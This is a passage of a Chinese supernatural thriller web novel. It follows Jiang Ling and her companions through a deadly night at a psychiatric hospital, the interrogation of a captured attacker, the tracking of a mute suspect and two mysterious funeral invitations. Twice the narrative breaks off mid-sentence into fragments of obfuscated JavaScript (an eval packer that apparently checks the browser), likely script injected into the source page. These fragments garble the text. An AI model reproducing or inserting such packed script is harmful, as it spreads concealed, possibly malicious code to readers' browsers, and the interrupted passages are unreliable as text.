“回家。”姜泠答,“我家离这儿不远,不用送了,又不是去刀山火海。” “嗷。”男人把手揣兜里,也不多说,就静静跟着姑娘的步伐往前走。 “如果你想去参观一下骨医住宅的话,也可以一起。”大约是气氛有点微妙,姜泠又补充了一句。 “想,当然想!”凌岓不假思索。 正是晚上吃完饭许多人都在遛弯的时候,再碰到周末,一条不太长的路硬是让两个人走了许久。道路两侧的枫叶颜色更深了些,馥郁的桂花香弥漫着整个街道,这叫走在路上的人得到一份难得的悠闲。 “看来你们这行还挺赚钱的。” 四合院出现在眼前时,凌岓还是有点吃惊的。这块的地段算不上贵,但买这么一座院子也绝不便宜。 “这是很早的时候,师父收的一处凶宅。听说原先那家人被灭门了,这里也没人敢住,师父买的时候就给了一个最低价。” 姜泠刚打开门,就有人从里面迎了出来。 “姜小姐,您可算回来了。这几天诚哥也联系不上,可把我们急坏了!” 说话的人穿着一身最常见的休闲装,表情却不怎么好看:“强子醒了,小猛也能正常说话了。我问他们到底发生了什么,他们说…说…” “说什么?” “说是殷老爷子攻击的他们。”这句话说的小声又含糊,好像这人不愿说出来一样。 “殷老爷子是谁?” 茶馆谈话之后,凌岓知道姜泠他们派去西南打听消息的人受了伤,因此对强子和小猛还算有点印象。现下突然又冒出来一个殷老爷子,他就不认识了。 “我师父。”姜泠也不愿意承认,但这显然是事实,“我师父叫殷漠。强子他们被他招进来的时候,他年纪也大了,所以大家都叫他殷老爷子。” “强子和小猛现在在哪儿?”姜泠跟身边人解释完,又问道。 “在杨医生的医院里。强子刚醒的时候老是胡言乱语,我们就给他办转院,转到杨医生那儿去了。” “那你受累一趟,现在带我过去。”姜泠迈进门的脚又迈出去。 “那要不要再给诚哥打个电话?” “先不打了,他现在在忙别的,我先去看看情况。” 休闲装点了点头,飞奔向停车场。 “那我,要不要跟你一起去?”凌岓问。 “你就呆在这儿吧,除了被封住的房间不能进,其他地方随便参观。” 在蓉市,姜泠知道强子伤的有多重,也知道袭击他们的人必然不会是善茬。因此,她不愿意把无辜的人再搅和进来。 “嗯,那也行。需要帮忙的话,随时打我电话。” 黑色卡宴停在医院门口,更确切地说,是停在距离市区三十公里远的一个精神病院门口。 这里的院长杨和安早些年是很有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了杨和安自己,他又另外叫了两个身形壮硕的护士,一同来到张强和刘猛的病房。 两个人的病房挨在一起,靠近电梯的是张强。算上姜泠在内的四个人推门而入,张强正坐在床边怔怔看向窗外。 “张强,有人来看你了。”胖护士按照惯例先喊一嗓子,愣是喊出了几分家属来监狱探监的风范。 张强一动不动地坐在那儿,眼睛睁得老大。 “强子,是我。我是泠姐。”姜泠跟着杨和安走到了张强面前,“我听大刚说,你已经好多了,就来看看你。再让大夫诊断诊断,真没什么事儿了,我就带你和小猛回去。” 见眼前的人还是瞪着一双眼睛不说话,杨和安就伸手轻轻拍了拍他,“张强——” 话音未落,张强被拍了这一把后,竟直挺挺地栽了过来。吓得杨和安赶忙拉着姜泠往后退。 只听“咕咚”一声,张强倒在了地上。门口的两个壮护士赶忙走上前把他扶起来。 之前喊张强名字的那个护士先探了探他的鼻息,又扒开他的眼皮瞅了瞅,对杨、姜二人说,“他死了。” “死了?”杨和安从白大褂口袋里掏出一支手电,蹲下来照向张强的眼睛,“瞳孔扩大,没有对光的反应,是死了。” “怎么会这么突然?”姜泠伸手摸了摸垂在地上的胳膊——冰冰凉凉,绝不是活人该有的体温。 “你们什么时候来的?”杨和安问两个胖护士,“人都没了,你们居然没发现?” “您打电话叫我俩下来的时候他还好好的呢。”另一个有些秃顶的护士指了指床头柜上的香蕉皮,不可思议道,“刚才我下楼的时候,他还吃了根香蕉呢!” “那就是说人刚不在的。”姜泠脑子里的弦突然绷紧了。 “刚去世的人不会是这个体温…不好,刘猛!”她一个箭步冲向隔壁病房,剩下三个人也忙不迭跟了过去。 走廊天花板的灯一闪一闪的,在姜泠伸手碰到刘猛病房门把手时骤然熄灭。刘猛的病房门打不开,走廊陷入一片漆黑,楼梯口突然传出轻轻的喘息声。 39. 第三十九章 夜探病房 喘息声渐近,刘猛病房门口的人刚习惯了没有光亮的环境,一个黑影便扑了过来。 “啊——”一声惨叫,听起来像是那个秃顶护士。接着,粘稠的液体溅到了另外三人脸上,闻着有股浓浓的血腥味。 在漆黑的环境下,向来失明的人反而能比其他人多占一些优势。黑影转而扑向姜泠,后者往墙边轻巧一闪,便避过了攻击。黑影恼羞成怒,又扑到杨和安身上。杨和安顺手捞起墙边的灭火器就砸过去,对方吃痛,趔趄着后退了好几步。 黑影被砸出了教训,不再轻举妄动,暂时和墙边的人僵持不下。没过几秒,一道白光擦着另外一边的墙面闪过,发出极其刺耳的“滋滋”声。 看清楚白光后面的长刃后,先前叫张强的胖护士当场就晕了过去。杨和安与姜泠听着这声音,鸡皮疙瘩掉了一地。加之没有趁手的武器,两人只好暂时离开刘猛的病房,退到楼梯口。 就在这时,刘猛病房中突然传来一道玻璃打碎的声音,金属拖拽的刺耳紧随其后,反倒吸引了黑影的注意力。 姜泠看准时机,趁着黑影愣神的功夫,一记扫堂腿将其撂翻。然后又夺过他手中的尖刀,一脚踹开了病房门。 杨和安紧跟着进了病房,看见一幕极其古怪的场景——病房的玻璃全被打碎了,一个匍匐在地上的“人”正用十个指甲在木质地板上一道一道地划。方才病房里的金属拖拽声就出自这里。声音刺耳,伏在地上的人也发出痛苦的“呜呜”声,可他就是不起身,也不停止做这个动作。 再往里一走,刘猛正站在卫生间的镜子前比划着什么。杨和安借着外面的微光仔细一看,刘猛那动作分明是在梳头。 病房外的黑影缓缓爬起来,悄无声息地绕到两人身后,刚准备下手,就被人从身后猛踹了一脚。 “咚”一声闷响,姜泠回头,听见熟悉的声音在门口响起:“早知道我就该跟着你来,还能多个帮手。” “凌岓?”病房中的姑娘疑道,“你怎么知道我在这儿?” “你们走了以后我不放心,就打了个车跟上。本来以为你一个人进去是确保没事的,谁知道我参观了个院子的功夫,就停电了。我上来一看,刚好碰上这玩意儿。”凌岓说着,还不忘一脚踩上黑影的背,让他动弹不得。 “怎么样,见到你那两个朋友了吗?” “见到了,一个刚刚去世,另一个就在这儿。” “是这位‘伏地魔’?” “不是,刘猛在洗手间里。”杨和安好心提醒。 顺着他的话看过去,凌岓也看到了卫生间里那个正在梳头的人。 “一个寸头,怎么还梳上了?” 凌岓正疑惑着,外面就传来一阵奇怪的音律。在场诸人听不出是什么乐器在演奏,只觉得这旋律犹如铁钉划黑板,难听得要命。 音律声声入耳,伏在地上的人试图像弓起背的蚯蚓一样将自己蜷起来。可不知地板上究竟是什么牵制住了他,这人使出浑身解数也没能让自己蜷起来,只能一次次疯狂又痛苦地在地上蠕动、挣扎。 姜泠想要帮他,刚蹲下,又听见洗手间里的刘猛发出“嘿嘿”、“嘻嘻”的笑声。 杨和安大着胆子靠近,这才发现刘猛手里拿的不是普通的木梳或是塑料梳子。那是一把钢梳,钢梳的梳齿犹如一根根锋利的针,把刘猛的手和脑袋刮得鲜血直流。 听见杨和安倒吸一口凉气的声音,凌岓当机立断把脚下的黑影打晕。再上前一看洗手间里的人,他一把夺过对方手中的钢梳子。 窗外的奇怪旋律还在继续,姜泠用尽全力压着地上的人,这才没让他用十根长指甲嵌进自己的身体。 “怎么还没来电!”刚才和黑影缠斗的时候,杨和安的手电筒不知掉哪儿去了,现在看着黑漆漆的四周,他只剩焦急,“怎么保安也没上来?” “保安?保安早被打晕了。” 病房和楼道里的灯一瞬间齐刷刷全亮了,卫斯诚带着几个人站在门口,面上的慌张不比杨和安的少。 “姐,你没事儿吧?”卫斯诚着急忙慌地走过来,手里还握着一根铁棍。 “你怎么来了?我不是跟大刚说了,不让你过来吗?” “得了吧!从小到大都这样,只要你觉得有什么危险,你就不让我去,我还不了解你?”说话的人把铁棍收起来,又确认一遍,“你没受伤吧?” “没有。你看看这个人是谁?”姜泠慢慢松开了手。 窗外的声音在灯亮起的时候一并停下,趴在地上的人总算不再挣扎了。 借着灯光,众人终于看清了地上这人的样子。他穿的是医院里的病号服,脚上的一只拖鞋不翼而飞;长长的头发乱如蓬草,盖住了这人的脸;十个渗出血丝的指甲又尖又长,已经把木地板划出了十道深深的沟壑。 卫斯诚只犹豫了一下,伸手掀开地上这人的头发,当即便被吓了一跳——“老洪!怎么是你!” 闻言,凌岓也蹲下身,旋即发出一声惊喝,“真是老洪!你怎么会在这儿!” 地上的人应该是听懂了,他说不出话,只能发出“呜呜呜”的声音。凌岓再定睛一看,洪钟的十个手指头被十根又细又长的铁钉钉穿了——不是他想要在地上划下这些划痕,而是这十根铁钉带来的疼痛逼得他在地板上留下这些痕迹。 姜泠大约猜到了洪钟的惨状,她没说话,只是和凌岓一起试着把洪钟搀起来。只是刚把他扶起来半米高都不到,他就会发出惨厉的呜咽。 病房里的人此时才发现,洪钟一双腿的胫骨处也有两根长钉。长钉连着骨头和地板,叫人动弹不得。 “不能拉!别碰他!”杨和安神色凝重,把扶着洪钟的两个人拨开,“这个得我们来处理。” “小王,小王!” 门外一个戴着眼镜的白大褂闻声挤进病房,“院长您叫我?” “你去推个担架车过来,让老余也过来!”面对病人的时候,杨和安又回到了迅速沉稳的老医生形象。 担架车和医生很快就过来了,凌岓拽着被他击晕的黑影和其他人一同退出病房。不消多时,洪钟腿上、手上的长钉便得到了妥善处理,他本人也躺在担架车上,被送进了电梯。 “这是哪个天杀的混蛋玩意儿干的?”卫斯诚看着担架车上的人,咬牙切齿。 “等他醒了问问呗。”凌岓看了看自己拽着的人,“这肯定不是什么好人。” 杨和安把洪钟和刘猛转到市内的医院去了,临走的时候还不忘握着姜泠的手说,“你们放心,有杨叔在,你们的朋友不会有事的!” 除了洪钟,张强的遗体也跟着一起去了市区里的医院——杨和安联系了一个自己的法医同学,想要帮忙查出张强的死因。 四合小院内,姜泠斜倚在桌子前,等候坐在椅子上的人醒过来。 “诚哥,咱这不算非法拘禁吧?”那个休闲打扮的大刚小声问。 “谁拘禁他了?”卫斯诚一拍大刚的脑袋,“我们不就是在探视朋友的时候好心救了个晕倒的人嘛!等他醒了,问一问他从哪儿来到哪儿去,到精神病院干什么去?问完就把他交给警察叔叔。” 好巧不巧,卫斯诚刚说完,医院里的“黑影”就睁开了双眼。 即便现在在灯光下,说他是“黑影”也一点儿没说错——坐在椅子上的这个人穿着一身黑色连体裤;鞋是黑的,袜子也是黑的;脖子上戴着的装饰是黑的;就连他的皮肤也是黝黑黝黑的。 “黑影”的左耳缺了一角,看起来是被利器砍出来的豁口;他脸上还有一条从左往右斜划下来的刀疤,配上他此时阴冷凶恶的眼神,完美诠释了“凶神恶煞”四个字。 “你叫什么名字?”大刚先试探着问出一个简单的问题。 “黑影”狠狠剜了大刚一眼,不说话。他没被绳索或是其他的什么东西绑住,可就是手脚无力。此刻,他正暗暗盘算着怎么逃。 “你小子还挺横!”大刚摆出一副要揍人的样子,可“黑影”还是不为所动。 “既然不想说名字,那就直接问了——为什么要杀张强和刘猛?”凌岓说起话来永远是温和的,叫人捉摸不透他说话时的心情。 “黑影”闻言,还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“黑影”一开始认为,一个姑娘翻不出什么风浪,更别说从自己这里能得到什么了。但现在,他的想法发生了转变—— 姜泠稳稳端着那碗水朝他走过来,一双眼睛像无底黑洞般让人看不透;她嘴角勾起一抹不易察觉的笑,全然没有他睁眼时看到的那副平静恬淡的样子。 “你还有最后一个机会可以选择主动回答刚才的问题。”女人端着水,居高临下地说。 “还是那句话,别费这闲工夫。” “好的。” 下一秒,“黑影”眼看着那只碗递到了自己嘴边,下意识就想要咬紧牙关反抗。哪想眼前的女人伸手捏住他的下巴,轻轻一用力,他就不得不张开嘴,再眼睁睁看着那碗水滚进了自己肚里。 水里应该是加了什么东西的——“黑影”这样想。看起来一碗清澈无比的白开水,一入口全是又苦又涩的味道,比吃了黄连还叫人难受。 “你这个女人…” “黑影”想破口大骂,可舌头却怎么都不听使唤。那碗水顺着食道流进胃里,他开始有种吞了活虫子的感觉。 “有点耐心,等会儿你就愿意回答我了。”姜泠动作轻柔地把碗放在手边桌子上,说话的语气却听得人发冷。 凌岓被卫斯诚拽到门外一家奶茶店里,几次想要回去都被按住了。 “别着急嘛。”卫斯诚说,“你要相信我姐会有办法让他开口的。” “我们又没用绳子把人绑起来,你就不怕他回过劲儿,你姐有危险?”担心归担心,凌岓问出来的话还是温和讲理的。 “危险?”卫斯诚笑着嗦了一口奶茶,满不在乎,“看来待了这么久,你还是完全不了解她。我姐平时是不会太和人计较什么的,但是遇到这种情况,你应该担心担心那个嘴硬的有没有危险。” 一杯生椰拿铁、一杯抹茶奶绿,两杯饮料下肚,大刚走进来了。 “完了?”卫斯诚问。 “完了。”大刚答。 “那行,我们现在回去。”刚起身,卫斯诚又回到收银台,“再给我来一杯橙香美式,少冰无糖打包带走。刚子你喝什么?我请你!” “喝这么多甜的,你是真不怕高血糖啊。”凌岓等在一旁,无奈地摇了摇头。 “高血糖比低血糖好一点。”等新点的两杯饮料拿在了手里,三人有回到了小院里。 一进门,小院空空,只剩姜泠一个人。听到来人的脚步声,她抬起头道,“要知道的都知道了,我看留着他也没什么别的用处,就把他放走了。” 40. 第四十章 飞来横祸 一样的发型、一样的衣服,可凌岓就是觉得眼前的姜泠和以前的她哪里不太一样——这种感觉很熟悉,在安城碰到她救下周盼的那天晚上,他也曾有过这种陌生的感觉。 姜泠没有察觉身边人情绪上的变化,只顾着把“黑影”的话转述给同伴们听。 “黑影”是个劳改犯,刚出来没多久就发现自己得了绝症。按照他的话说,他倒是不在乎自己这条命,可从小相依为命的爷爷他不能不在意。 出了狱,他四处找工作,却总是因为自己的前科被拒绝。年轻时候因为一句口舌之争把自己送进了监狱,现在放出来要找工作的当口,他才深刻体会到处处碰壁的滋味。 送货、搬运、维修……靠着监狱里学来的一技之长,“黑影”也能接一些零散活儿来养活自己和爷爷。可屋漏偏逢连夜雨,前不久,爷爷干农活时摔了一跤引发脑溢血,自此以后,爷爷的健康就每况愈下。 “黑影”对爷爷很有感情,也不愿看着爷爷遭罪。于是,医院一趟一趟地跑,爷孙俩口袋里的钱一分一分的少。 半个月前,有个中年男人突然找到“黑影”,让他帮自己一个忙。男人许诺,如果“黑影”成功了,那么爷孙俩的医药费由他来负担全部;如果失败了,他也会应诺支付一笔不菲的报酬。 但男人同时有一个要求,那就是无论“黑影”落到谁手中,都不能把男人的存在说出来。否则,他会有无数种办法让年迈的老人不得善终。 “黑影”在威逼利诱下应允。为表诚意,那个中年男人在走的时候还留下了一箱子钱。 “帮什么忙?”卫斯诚问,“是让他对强子和小猛下手?” “不是,是让他把小猛从医院里带出来。”姜泠仔细回想着“黑影”说过的每个字,笃定道,“他们来了三个人,一个负责破坏供电,一个放哨,另一个负责把小猛带出来。他们三个人之间相互不认识,只是各司其职罢了。” “这么说,老洪的事情与他无关?”凌岓咂摸出意思了。 “应该是。”姜泠点点头,“他不知道洪钟为什么会在那儿,也不知道是谁砸的玻璃。他甚至根本不认识洪钟这个人。” “那万一是他在撒谎呢?”凌岓合理质疑。 “不可能,也没有万一。”姜泠那双失明的眼睛犹如寒冰,“没有人会在髓虫的控制下说假话,就算是我也不例外。” 凌岓不清楚所谓的“髓虫”是什么,但听起来,应该是能控制人的精神,让人说真话的东西。他正想着“黑影”说的话,旁边人的电话就响了。 “杨叔说,老洪醒了。”卫斯诚将电话内容告知另外两人,又征询他们的意见,“要不要去看看他?现在还在探视时间内。” 杨和安建在市内的医院以产科和骨科闻名,即便到了晚上,也要比郊区那边“热闹”多了。洪钟住在住院部六楼,因为是姜泠的朋友,他被安排在一人一个套间的“VIP”特护病房里。 骨科科室和大部分特护病房都在六楼,已经过了下班的时间,科室里除了两个打盹的值班大夫,没有其他医护了。又因为特护病房多,所以整个六楼都十分安静,与门诊部排队的场面形成十分鲜明的对比。 三人推门而入时,洪钟正在闭目养神。医护人员十分贴心地帮他理了理长发,又把十根长指甲修好,这才让他现在看上去稍微精神了点儿。 “感觉怎么样?好些了吗?”凌岓从果篮里拿出一个橘子递给病床上的人。 “来啦?”洪钟睁开眼,把橘子接过来攥在手里,也不吃,“多亏了你们,要不然我洪钟今天就要交代在那个鬼地方了。” “还说呢,你在天津呆得好好的,怎么跑这儿来了?”卫斯诚是真的关心洪钟,“你看这弄的,遭老罪了!” “哎呀,怪我!怪我!”洪钟一个劲儿地摇头,懊悔不已,“怪我遇人不淑偏信了谎言,这才被人骗到这儿来了。” “谁骗你?”卫斯诚拖过来三把椅子放在床边,摆出一副认真听讲的样子,“你说,谁骗你,我们帮你报仇!” “说来话长。”洪钟剥开橘子,塞了一瓣在嘴里,讲起了自己的遭遇。 “自从你们走了以后,我就没怎么开张了。你们也知道,我们这行吃的就是嘴皮子上的饭,可如果肚子里没货,任凭你嘴皮子再溜也没辙。” “刚好那时候,有一个经常来听我说书的老顾客找到我,说他近来得了一个孤本,里面全都是没听过没见过的故事,还有图画呢!他说他留着那个也没用,不如便宜让给我。我这不是一时心动,就跟着他到禾城来了嘛!” “他说他有孤本你就信啊?”卫斯诚不可置信地看着洪钟,“这么大年纪了,怎么这么容易被骗?你小心老了以后有人卖你保健品!” “我最开始也是不信的!我还说满天下哪儿有那么巧的事!”洪钟翻出聊天记录给三个人看,“可是他给我拍了照片和视频,视频里面还拍了几页书的内容。我心想都证明到这个份上了,又是老主顾,总不至于诓我吧,这不就…就倒大霉了。” “他们有几个人?”姜泠默默记下关键信息,适时提出问题。 “他们有两拨人。”洪钟想挠一挠头,可是十个手指都缠了绷带,他只好把手又放下来。 “两拨人?”凌岓拧着眉头。 “对嘛,两拨人。”洪钟掰着手指细数道,“第一波是我那个老主顾。到了禾城以后,他把我骗到一个房子里,然后冒出来好多人,他们说让我和他们一起去个什么地方。我一看那阵势,想着保命最要紧,就答应了。” “结果还没到地方呢,就有另一拨人和我那老主顾打起来了。再然后,我就被第二拨人关到小黑屋里去了。” “既然是你的老主顾,有什么事情跟你好好说一声不就得了?怎么用这么离谱的方式骗你?”听完洪钟的话,卫斯诚若有所思,“他们指定是要让你帮着干什么见不得光的事儿。” “那你那个老主顾现在在哪儿?他人怎么样了?”凌岓问。 “这我哪儿知道去!反正我被带走的时候吧,他已经被揍得挺惨了…”洪钟又要了一个橘子塞进嘴里,“说起来,我老洪还没这么抢手过呢!” “除了关小黑屋,他们就没让你干点别的什么?或者你还偷听到什么没有?” “有啊有啊,你们别急,听我老洪慢慢道来嘛。” “第一拨人,就是我那老主顾。他在路上问我有没有什么办法能让含恨而终的人魂飞魄散,永世不能超生。我一寻思,这我上哪儿知道去?我就一说书的,知道的都是些书里写的奇闻轶事,这些江湖术士搞的封建迷信我可嘛都不知道!所以我就跟他说,我不清楚,这种事情,得找什么风水大师、阴阳先生。” “然后呢?” “然后?然后他们又换了个问题,问我能不能帮忙找到一个什么人的埋骨地。我说这我也不会,这也得找风水大师。” “你不会,我姐会啊!寻骨识骸,她最会了,你干嘛不给我俩打电话呢?” “你傻呀!都把我骗过来了,跟绑架似的,那能是好人嘛!你以为我没想到小姜姑娘呐,我不是不想给你们惹麻烦嘛!” “老洪,看不出来,你是真仗义啊!”卫斯诚一激动,猛地握住洪钟的手,把后者疼得嗷嗷直叫。 “再说了,就算老洪那时候给我们打电话,我们也未必能接到。”凌岓拽开卫斯诚的手,生怕给洪钟造成二次伤害,“那第二拨人呢?他们没说什么吗?” “没有。第二拨人可比我那老主顾训练有素得多,他们把我关到小黑屋里以后,找了一个哑巴来看我。每天只管吃喝拉撒,啥也不说。昨天晚上,他们把我带进那个医院里,然后往脖子上来了一针,我就嘛都不知道了。” “那看来你也不知道你是怎么被钉到那间房里的。” “不知道。” “那你对第二拨人有没有什么印象?比如长相啊,外貌特征一类的?”卫斯诚还想多问出点线索。 “没有,他们一个个都捂着个大口罩子,除了俩眼睛,嘛都看不见!” “你知道看你的那个人是个哑巴,那他的样子你还记得吗?” 姜泠听了半天,觉得查找第二拨人的关键或许在看管洪钟的哑巴身上——毕竟他是洪钟的遭遇里唯一印象深刻的人。 “这个记得,就是一普通老头,长得跟我们楼下那大爷似的。” “还有别的特征吗?比如衣着?或者你怎么知道他是哑巴?”凌岓也试着引导洪钟回想起更多的细节。< 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“等等再吃,等等再吃。”凌岓打断了卫斯诚对一桌食物对介绍,“昨晚回去,我跟我妈聊了聊。她说她学校农学实验室有一个合作的饲料厂,经常来送货的人是个哑巴。” “这么巧!”卫斯诚筷子都忘了拿,“这算不算踏破铁鞋无觅处!” “算,当然算,但只能算一半。另一半得我们去看看,拍个照,然后让老洪认一认才行。” “先吃饭,吃完饭我们一起去。”姜泠递过去两双筷子,“还有就是,替我们先谢谢阿姨。” 按照何槿颐给的地址,三个人饭后驱车来到这家“禾城大才饲料厂”。何女士事先托同事给饲料厂的经理打了招呼,三个人借着农学生学习的由头,十分顺利地来到了经理办公室。 几番装模作样的学习和寒暄之后,凌岓总算拉近了和经理之间的关系。 借着经理聊起饲料分装和送货的劲儿,他总算找到了打听的机会,“送货确实是辛苦,不管冷热都得到处跑。像经常去我们学校送货的那个哑巴大叔,想想都觉得我们没有他的毅力。” “唉,说的就是。”经理点点头,跟着凌岓把话题转到了哑巴身上,“你说的那个大叔,就经常去给你们送货的那个,那也是个可怜人。他小时候发了场高烧,就成哑巴了;刚结婚没多久,老婆又因为意外不在了。好不容易在我们这儿有个稳定的工作,这不前两年送货的时候,被车轱辘压了腿,现在走起路来还一瘸一拐的。真是个可怜人…” “唉,谁都不容易。”卫斯诚跟着附和。 “刚好,我们这次来带了点东西,里面有一些是给大叔的,就当谢谢您和大叔了。您看一会儿要是方便,我们和大叔见一面,也能当面感谢他这么长时间风雨无阻地给我们送饲料。”凌岓说。 “不用这么麻烦,我帮你们转交不就行了!”经理一拍胸脯,信誓旦旦地打保票。 “不麻烦,不麻烦!”见状,卫斯诚赶紧补上一句,“当面感谢才有意义,还是我们当面谢吧。” “那也行,一会儿我就把他叫过来,反正他今天也没排班。” 回到办公室没多久,穿着工作服的哑巴就跟着经理进来了。他的背有些佝偻,脸上遍布皱纹;姜泠等人和他打招呼时,他还有些局促不安。 “叔叔好,我们是来这儿学习经验的学生。我们老师和您比较熟,就让我们顺道给您带了点东西。” 哑巴摇摇头,用手比划了半天,又把礼物塞了回去。 “哦,老黄说,那都是他的工作,不用这么客气。”经理解释道。 “不客气不客气!”凌岓很会随机应变,装出一副难色,“主要是除了听老师的话,要懂得感恩之外,我们还想和你们合个影。因为这次来饲料厂是算实践学分的,回头交作业的时候要上传照片,所以…” “那好说,不就合个影嘛!”经理爽快答应,“早说嘛!要不我再给你们开个实践证明?把我们这儿章子给你们盖一个。” “那谢谢您,不过还是先照相吧。”直到说出这句话以前,经理都没怎么注意过姜泠。 合了照、拿了证明,三个人总算完成了任务。一出门,路上的尘土四起,车子直奔医院。 “就是他。”洪钟看了照片,不假思索地确认,“你们真够快的,这才多长时间就把人找到了!” 41. 第四十一章 葬礼邀请 正是秋高气爽的时候,凉风从窗外习习吹来,把人心里的急躁吹得一干二净。认完人,洪钟开始抱着剥好的松子啃,饶有兴致地听来探视的三人讲述此次藏北之行的经历。 “你们估计是遇到达氏鳇了。”听到大湖搏斗的情节时,洪钟不忘科普,“锥形体,三角尖吻,菱形骨板,这听着就像达氏鳇。成体达氏鳇有的能长到五六米长,几十斤几百斤那都不是问题,刚好和你们说的‘体型巨大’对上了。” “据说这种鱼源起于白垩纪,古时候都是作为贡品进贡给皇家的。但现在估计不行了,现在人家是国家濒危保护动物,很少再能见到这么大的野生成体,你们能见一面,也算幸运。” “呵呵,这种幸运还是换个人享受吧。”卫斯诚摸了摸自己的尾椎骨,只觉得倒霉。 “不过,达氏鳇虽然是淡水鱼,也不应该出现在西藏啊。按照常理,你们应该在东北那一带见到它才对。什么黑龙江、乌苏里江、松花江才应该是它们的老家,怎么会跑到西藏去呢?” “说不定是游过去的,也可能是那一支东北鳇鱼的亲戚。”凌岓用开玩笑的语气猜测,顺带递给洪钟半袋刚剥好的糖炒栗子,“话说回来,那个溶洞是怎么回事儿?是谁的墓穴还是?” “这我也没听说过。可能是古代的哪个小部落遭遇了天灾,被集体掩埋了吧。”洪钟边嚼栗子边回答,“等出了院,我回家找找,总能给你们翻出个答案的。” “事情都过去了,也不一定非要个答案。”姜泠手上拿着一个削了一半的苹果,“我们这么一说,你就随便听听,就当充实你的素材库了。” “几天不见,咱小姜变得更有人味儿了。”洪钟忍不住夸一句,完全没注意到他说这句话时凌岓短暂的愣神。 “309病房洪钟,有人寄给你的信。”四个人正说着,护士来换吊瓶,捎带脚递给她的病人一个信封。 “谁这么惦记我?还给我老洪写信。” 收件人满心期待地拆开信封,发现里面并不是信,而是两张厚卡纸,拿出来一看,是两份请柬。 “洪钟君,您好。爱女成俐于八月七日辞世,殁年22岁。现定于八月十四日在禾城阳仓路309号举行追悼仪式,送女归山。此外,八月七日十二时,特于天地大酒店略备薄宴,恭候您的光临。” 念完第一张请柬,洪钟皱眉,“这写的什么,有一句没一句的,格式也不对,怪里怪气。” 说罢,他又抽出第二张卡纸,简单浏览以后,奇怪道,“怎么这个也是叫我参加葬礼的?我老洪平时没得罪什么人啊。” 凌岓接过两张请柬一看,也觉得奇怪,“成俐,章明明,这俩人你认识吗?” 洪钟摇头。 “一个在禾城举办葬礼,一个在阳市举办葬礼。两个你不认识的人在两个不同的地方举办葬礼,但用了同一个信封寄给你——你要说没得罪人,我是不信。”卫斯诚看过请柬内容,小声嘟哝了一句。 “寄错了吧。”洪钟费解得很。 “可是上面明明白白写了你的名字,洪钟。”姜泠不认同‘寄错了’这个结论。 “说不定同名同姓呢!”洪钟继续猜测。 “寄信的人精准地寄到了你昨天晚上才住进来的医院。”姜泠回答,“这还能是巧合吗?不如现在让小诚去查一查,看看这个医院里还有没有第二个叫洪钟的人,不就知道是不是寄错了嘛。” “得勒,我现在就去。”尽管看到了洪钟抽抽的嘴角,卫斯诚还是颇为殷勤地跑出病房。 一直到新换的吊瓶挂完了,卫斯诚才回来。一进门,他冲着洪钟直摇头,强调了两遍查得的结果——“没有第二个洪钟,就你一个。” “着了道了这不是!真是人倒霉的时候喝口凉水都塞牙缝。”洪钟垂头丧气地看着两封请柬。 “这也不一定就是倒霉吧,说不好是哪个你忘掉的老朋友给你寄的呢。再说了,一个葬礼而已,不想去就不去了,谁还能拿枪指着你逼你去啊。”凌岓宽慰着沮丧的病人。 “不见得。如果真是忘掉的老朋友,怎么能在他住院的第二天就拿到医院地址寄过来?”此言一出,姜泠在洪钟心里又有了一个“冷水侠”的称号。 “我觉得我姐说得有理。你来禾城,就算是我们,也是昨天晚上在精神病院碰见了才知道的。何况你住院的事我们谁都没说,怎么可能有别人知道你住院?还专门给你把请柬寄过来。” “八月十四,不就是大后天嘛。如果你不想去,那你就不去;但是如果你实在好奇,那就好好养伤,到时候我们陪你一起去。”这两张请柬的确古怪,凌岓怕大病初愈的人有什么心理负担,又换了套说法。 “去!一定要去!”洪钟狠狠捶床,下定决心喊,“他爷爷的!我倒要看看是哪个龟孙儿三天两头拿老洪开涮!” 从医院出来以后,三个人并排走着,都在思忖洪钟收到的两个葬礼邀请的事。 “好在阳市和禾城离得不远,葬礼时间也刚好错了一天。”破天荒的第一次,是姜泠打破沉默,“到时候看看洪钟恢复的情况,实在不行,我们就只去禾城这个。” “你说,写请柬的人是第一拨还是第二拨?”两封请柬中的遣词造句和字迹相同,凌岓担心是伤害洪钟的人干的。 “这得去了才知道。”姜泠想了想,顿时明了凌岓这句话的言外之意,“不过我们也确实要提前做点准备,免得到时候像昨晚一样,被人打得措手不及。” “这好办,叫人的事儿就交给我吧。”卫斯诚满口答应,心里已经有了打算。 “嗯,如果不够的话,我也能帮上忙。要真是老洪说的那两拨人给设的套,那人多一点我们也不吃亏。”这边刚说完,凌岓就已经开始联系人了。 两天半的时间对于洪钟而言,足有两年半那么长,好不容易熬到了八月十四号,医生又坚决不同意他到处乱跑。 见此,先是由姜泠出面向杨和安求情,又是由凌岓保证绝对不会让洪钟的伤势恶化,主治医生这才勉强点头,送过来一个轮椅看着洪钟上了车。至于卫斯诚,老早就带着他联系好的人前往葬礼地址,并随时和后来的人保持联系。 阳仓路309号在禾城老城区,听住在附近的老人们说,这里在解放前曾是一座乱葬岗,里面堆放了许多枉死冤死或是无人收殓的尸体,是而以前的居民在夜里睡觉的时候总能听到些异常响动。 解放以后,这里被改成了殡仪馆,沿用至今。由于老城区附近的建筑颇具城市特色和人文价值,当地决策者多是以保护为主,重建为辅,对这个老殡仪馆也没再做什么大的修缮。到今天,这座用了快七十年的殡仪馆只从外表看上去还像点样,里面早已经四处都是问题了。 殡仪馆一共有三个厅,今天只有两扇大铁门正对着的思菊厅举办追悼会,不出意外的话,应该就是请柬上的这家。 思菊厅正中间摆着一张年轻女孩的遗照,遗照里的姑娘笑得甜美又灿烂,让来参加她葬礼的人无不扼腕叹息。今天的追悼会来了很多人,他们风尘仆仆赶往这里,每个人手里都拿着一支白菊。奇怪的是,这其中许多人看上去并不像逝者的亲友。 “谢谢。” “谢谢您。” 站在门口的一对夫妇和每一位进场悼念的人握手并道谢,姜泠、轮椅上坐着的洪钟和推着他的凌岓也不例外。 